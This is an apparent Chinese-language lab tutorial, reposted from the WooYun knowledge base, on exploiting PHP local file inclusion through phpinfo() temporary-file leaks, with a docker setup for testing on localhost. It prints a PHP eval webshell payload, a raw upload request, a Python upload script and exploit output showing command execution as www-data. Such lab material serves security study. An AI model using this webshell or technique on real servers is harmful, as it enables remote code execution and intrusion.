PHP本地檔案包含漏洞環境搭建與利用

wyzsk發表於2020-08-19
作者: janes · 2016/03/15 13:51

0x00 簡介


php本地檔案包含漏洞相關知識,烏雲上早有相應的文章,lfi with phpinfo最早由國外大牛提出,可參考下面兩篇文章。利用的原理是利用php post上傳檔案產生臨時檔案,phpinfo()讀臨時檔案的路徑和名字,本地包含漏洞生成1句話後門。

此方式在本地測試成功,為了方便大家學習,減小學習成本,已構建docker環境,輕鬆測試。將構建好的docker放在國外VPS上,使用github專案 lfi_phpinfo 中poc資料夾下的指令碼,本地執行,依然可以getshell。說明這種方式是可行的,對網路要求不是很高。

原始碼存放在 code目錄下, 可使用docker再現,poc目錄下存放利用指令碼

paper:

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

0x01 php 上傳


向伺服器上任意php檔案post請求上傳檔案時,都會生成臨時檔案,可以直接在phpinfo頁面找到臨時檔案的路徑及名字。

  • post上傳檔案

php post方式上傳任意檔案,伺服器都會建立臨時檔案來儲存檔案內容。

在HTTP協議中為了方便進行檔案傳輸,規定了一種基於表單的 HTML檔案傳輸方法

其中要確保上傳表單的屬性是 enctype=”multipart/form-data,必須用POST 參見: php file-upload.post-method

其中PHP引擎對enctype=”multipart/form-data”這種請求的處理過程如下:

  1. 請求到達
  2. 建立臨時檔案,並寫入上傳檔案的內容
  3. 呼叫相應PHP指令碼進行處理,如校驗名稱、大小等
  4. 刪除臨時檔案

PHP引擎會首先將檔案內容儲存到臨時檔案,然後進行相應的操作。臨時檔案的名稱是 php+隨機字元 。

  • $_FILES資訊,包括臨時檔案路徑、名稱

在PHP中,有超全域性變數$_FILES,儲存上傳檔案的資訊,包括檔名、型別、臨時檔名、錯誤代號、大小

0x02 手工測試phpinfo()獲取臨時檔案路徑


  • html表單

檔案 upload.html

#!html
<!doctype html>
<html>
<body>
    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">
    <h3> Test upload tmp file</h3>
    <label for="file">Filename:</label>
    <input type="file" name="file"/><br/>
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • 瀏覽器訪問 upload.html, 上傳檔案 file.txt

    #!php
    <?php
    eval($_REQUEST["cmd"]);
    ?>
    
  • burp 檢視POST 資訊如下

    #!bash
    POST /LFI_phpinfo/phpinfo.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/LFI_phpinfo/upload.html
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112
    Content-Length: 368
    
    -----------------------------11008921013555437861019615112
    Content-Disposition: form-data; name="file"; filename="file.txt"
    Content-Type: text/plain
    
    <?php
    eval($_REQUEST["cmd"]);
    ?>
    
    -----------------------------11008921013555437861019615112
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------11008921013555437861019615112--
    
  • 瀏覽器訪問,phpinfo 返回如下資訊:

    #!php
    _REQUEST["submit"]  
        Submit
    
    _POST["submit"] 
        Submit
    
    _FILES["file"]  
        Array
        (
            [name] => file.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpufdCHh
            [error] => 0
            [size] => 33
        )
    

得到tmp_name 路徑

0x03 python指令碼 upload file


#!python
import requests

host = '127.0.0.1'
url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)
file_ = '/var/www/LFI_phpinfo/file.txt'

response = requests.post(url, files={"name": open(file_, 'rb')})

print(response.text)
  • 部分返回結果

    #!php
    <tr><td class="e">_FILES["name"]</td><td class="v"><pre>Array
    (
        [name] =&gt; file.txt
        [type] =&gt; 
        [tmp_name] =&gt; /tmp/php7EvBv3
        [error] =&gt; 0
        [size] =&gt; 33
    )
    

0x04 本地搭建環境


  • get shell

    #!bash
    $ python lfi_phpinfo.py 127.0.0.1
    
    LFI with phpinfo()
    ==============================
    INFO:__main__:Getting initial offset ...
    INFO:__main__:found [tmp_name] at 67801
    INFO:__main__:
    Got it! Shell created in /tmp/g
    INFO:__main__:Wowo! \m/
    INFO:__main__:Shutting down...
    
  • firefox 訪問

    #!bash
    http://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=id
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

說明getshell成功,之後就可以自由發揮了~~

0x05 使用 docker 構建環境

docker的基本用法,這裡就不闡述了,可自行google。這裡提供了兩種構建映象源的方式,使用github lfi_phpinfo 中Dockerfile自行構建,或使用我已經構建好的映象 janes/lfi_phpinfo

  • 映象源

-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php]/php5

-- janes/lfi_phpinfo

  • 構建環境執行測試

獲取 github lfi_phpinfo 的原始碼,切換到web目錄下,開始構建環境進行測試。這裡提供三種方式執行

  1. 方式1 使用php官方源執行測試

    #!bash
    docker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
    
  2. 方式2 使用構建好的映象 janes/lfi_phpinfo 執行測試

    #!bash
    docker pull "janes/lfi_phpinfo"
    docker run --rm -p "80:80" janes/lfi_phpinfo
    
  3. 方式3 使用docker-compose

    #!bash  
    docker-compose up
    

接下來就可以使用python指令碼 getshell 了

#!bash
python lfi_phpinfo.py docker_host_ip

0x06 結束語


動手實踐 LFI with PHPInfo利用的過程,其實並不像看文章過程那樣順利,期間多多少少會碰見一些與環境有關的問題,而解決這些問題會耗費精力,這正是催生我用docker來構建測試環境想法的來源,希望能給網路安全的熱愛者們提供更方便的學習環境。最後感謝[LFI with PHPInfo本地測試過程]文章的作者,給我研究LFI with phpinfo提供了不少幫助。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章